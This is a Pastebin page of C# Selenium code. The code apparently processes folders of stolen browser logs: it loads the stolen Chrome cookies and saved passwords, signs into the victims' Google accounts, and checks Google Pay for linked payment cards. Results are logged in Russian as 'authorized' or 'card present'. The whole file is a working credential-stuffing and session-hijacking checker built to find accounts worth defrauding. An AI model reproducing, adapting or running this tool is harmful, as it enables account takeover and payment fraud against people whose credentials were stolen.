Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using OpenQA.Selenium;
- using OpenQA.Selenium.Chrome;
- using System.Threading;
- using OpenQA.Selenium.Support.UI;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- namespace ChecGoogleAcc
- {
- class driverAction
- {
- FileClass file = new FileClass();
- private ChromeDriver Browser;
- List<string> dataReport = new List<string>();
- string pathCoo;
- string pathPass;
- private void browserInit()
- {
- ChromeOptions option = new ChromeOptions();
- option.AcceptInsecureCertificates = true;
- option.AddArgument("--disable-notifications");
- option.AddArgument("--disable-infobars");
- option.AddArgument("--ignore-certificate-errors");
- option.AddArgument("--ignore-ssl-errors");
- option.AddArgument("--allow-running-insecure-content");
- option.AddArgument("--allow-silent-push");
- option.AddArgument("--disable-prompt-on-repost");
- option.AddArgument("--enable-fast-unload");
- option.AddArgument("--fast");
- option.AddArgument("--mute-audio");
- ChromeDriverService service = ChromeDriverService.CreateDefaultService();
- service.HideCommandPromptWindow = true;
- Browser = new ChromeDriver(service, option);
- Browser.Manage().Window.Maximize();
- }
- public void mainCode(string pathFolder, string pathWrite)
- {
- setPathFolder(pathFolder);
- List<string> dataAcc = file.GetInfoAcc(pathPass, pathFolder);
- browserInit();
- Browser.Navigate().GoToUrl("https://accounts.google.com");
- bool coo = SetCookie(pathCoo);
- if (coo)
- {
- Browser.Navigate().Refresh();
- if (IsElementPresent(By.XPath("//input[@id='hiddenEmail']")) && IsElementPresent(By.XPath("//input[@type='password']")))
- {
- signInWPcoo(pathFolder, pathWrite, dataAcc);
- }
- if (IsElementPresent(By.XPath("//input[@type='email']")))
- {
- signInWOcoo(pathFolder, pathWrite, dataAcc);
- }
- if (IsElementPresent(By.XPath("//*[contains(text(),'" + dataAcc[0] + "')]")))
- {
- signInWcoo(pathFolder, pathWrite, dataAcc);
- }
- else
- {
- dataReport.Add(dataAcc[0]);
- if (checkCard())
- {
- dataReport.Add("Авторизовал");
- dataReport.Add("Карта есть");
- }
- else
- {
- dataReport.Add("Авторизовал");
- dataReport.Add("Карты нет");
- }
- file.ResultFileDataWrite(pathWrite, dataReport);
- Browser.Quit();
- }
- }
- else
- {
- signInWOcoo(pathFolder, pathWrite, dataAcc);
- }
- }
- private bool SetCookie(string pathCoo)
- {
- if (File.Exists(pathCoo))
- {
- Browser.Manage().Cookies.DeleteAllCookies();
- string[] CookieAll = File.ReadAllLines(pathCoo);
- foreach (string str in CookieAll)
- {
- List<string> curCookie = file.GetCookie(str);
- DateTime time = new DateTime(2017, 03, 22, 23, 02, 03);
- Cookie newCk = new Cookie(curCookie[0], curCookie[1], curCookie[2], curCookie[3], UnixTimeStampToDateTime(curCookie[4]));
- Browser.Manage().Cookies.AddCookie(newCk);
- }
- return true;
- }
- return false;
- }
- private void signInWcoo(string pathFolder, string pathWrite, List<string> dataAcc)
- {
- if (file.GetInfoAcc(pathPass, pathFolder).Count > 1)
- {
- IWebElement selectUser = Browser.FindElement(By.XPath("//*[contains(text(),'" + dataAcc[0] + "')]"));
- selectUser.Click();
- Thread.Sleep(5000);
- IWebElement passInput = Browser.FindElement(By.XPath("//input[@type='password']"));
- passInput.SendKeys(dataAcc[1]);
- List<IWebElement> NextBPass = Browser.FindElements(By.XPath("//div[@role='button']")).ToList();
- NextBPass[1].Click();
- Thread.Sleep(5000);
- if (IsElementPresent(By.XPath("//div[@aria-live='assertive' and contains(text(),' ')]")))
- {
- dataReport.Add("Не авторизовал: НЕВАЛИД");
- dataReport.Add("Карты нет");
- }
- else
- {
- if (checkCard())
- {
- dataReport.Add("Авторизовал");
- dataReport.Add("Карта есть");
- }
- else
- {
- dataReport.Add("Авторизовал");
- dataReport.Add("Карты нет");
- }
- }
- }
- fustQuit(dataAcc, pathWrite, pathFolder);
- }
- private void signInWPcoo(string pathFolder, string pathWrite, List<string> dataAcc)
- {
- if (file.GetInfoAcc(pathPass, pathFolder).Count > 1)
- {
- IWebElement passInput = Browser.FindElement(By.XPath("//input[@type='password']"));
- passInput.SendKeys(dataAcc[1]);
- List<IWebElement> NextBPass = Browser.FindElements(By.XPath("//div[@role='button']")).ToList();
- NextBPass[1].Click();
- Thread.Sleep(5000);
- if (IsElementPresent(By.XPath("//div[@aria-live='assertive' and contains(text(),' ')]")))
- {
- dataReport.Add("Не авторизовал: НЕВАЛИД");
- dataReport.Add("Карты нет");
- }
- else
- {
- if (checkCard())
- {
- dataReport.Add("Авторизовал");
- dataReport.Add("Карта есть");
- }
- else
- {
- dataReport.Add("Авторизовал");
- dataReport.Add("Карты нет");
- }
- }
- }
- fustQuit(dataAcc, pathWrite, pathFolder);
- }
- private void signInWOcoo(string pathFolder, string pathWrite, List<string> dataAcc)
- {
- if (dataAcc.Count > 1)
- {
- dataReport.Add(dataAcc[0]);
- IWebElement emailUser = Browser.FindElement(By.XPath("//input[@type='email']"));
- emailUser.SendKeys(dataAcc[0]);
- List<IWebElement> NextBLogin = Browser.FindElements(By.XPath("//div[@role='button']")).ToList();
- NextBLogin[0].Click();
- Thread.Sleep(5000);
- if (IsElementPresent(By.XPath("//div[@aria-live='assertive' and contains(text(),' ')]")))
- {
- dataReport.Add("Не авторизовал: нет такого E-mail");
- dataReport.Add("Карты нет");
- file.ResultFileDataWrite(pathWrite, dataReport);
- Browser.Quit();
- }
- else
- {
- IWebElement passInput = Browser.FindElement(By.XPath("//input[@type='password']"));
- passInput.SendKeys(dataAcc[1]);
- List<IWebElement> NextBPass = Browser.FindElements(By.XPath("//div[@role='button']")).ToList();
- NextBPass[0].Click();
- Thread.Sleep(5000);
- if (IsElementPresent(By.XPath("//div[@aria-live='assertive' and contains(text(),' ')]")))
- {
- dataReport.Add("Не авторизовал: НЕВАЛИД");
- dataReport.Add("Карты нет");
- }
- else
- {
- if (checkCard())
- {
- dataReport.Add("Авторизовал");
- dataReport.Add("Карта есть");
- }
- else
- {
- dataReport.Add("Авторизовал");
- dataReport.Add("Карты нет");
- }
- }
- }
- fustQuit(dataAcc, pathWrite, pathFolder);
- }
- }
- public bool checkCard()
- {
- Thread.Sleep(5000);
- Browser.Navigate().GoToUrl("https://pay.google.com/payments/u/0/home#paymentMethods");
- Thread.Sleep(5000);
- Browser.SwitchTo().Frame(2);
- bool presentCard = IsElementPresent(By.XPath("//div[@class = 'b3id-payment-methods b3-payment-methods']"));
- Browser.SwitchTo().DefaultContent();
- return presentCard;
- }
- private bool IsElementPresent(By by)
- {
- try
- {
- Browser.FindElement(by);
- return true;
- }
- catch (NoSuchElementException)
- {
- return false;
- }
- }
- public static DateTime UnixTimeStampToDateTime(string unixTimeStamp)
- {
- if (unixTimeStamp.Length < 11)
- {
- DateTime dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, System.DateTimeKind.Utc);
- dtDateTime = dtDateTime.AddSeconds(Convert.ToDouble(unixTimeStamp)).ToLocalTime();
- return dtDateTime;
- }
- return new DateTime(2017, 03, 22, 23, 02, 03);
- }
- private void fustQuit(List<string> dataAcc, string pathWrite, string pathFolder)
- {
- dataReport.Add(pathFolder);
- dataReport.Add("Не авторизовал: нет данных аккаунта");
- dataReport.Add("Карты нет");
- file.ResultFileDataWrite(pathWrite, dataReport);
- Browser.Quit();
- }
- private void setPathFolder(string curMainPath)
- {
- if (File.Exists(curMainPath + @"/PasswordsList.txt"))
- {
- pathCoo = curMainPath + @"/Browsers/Cookies/GoogleChrome_Default.txt";
- pathPass = curMainPath + @"/PasswordsList.txt";
- }
- else
- {
- pathCoo = curMainPath + @"/Cookies/cookies_Google Chrome_Default";
- pathPass = curMainPath + @"/passwords.txt";
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement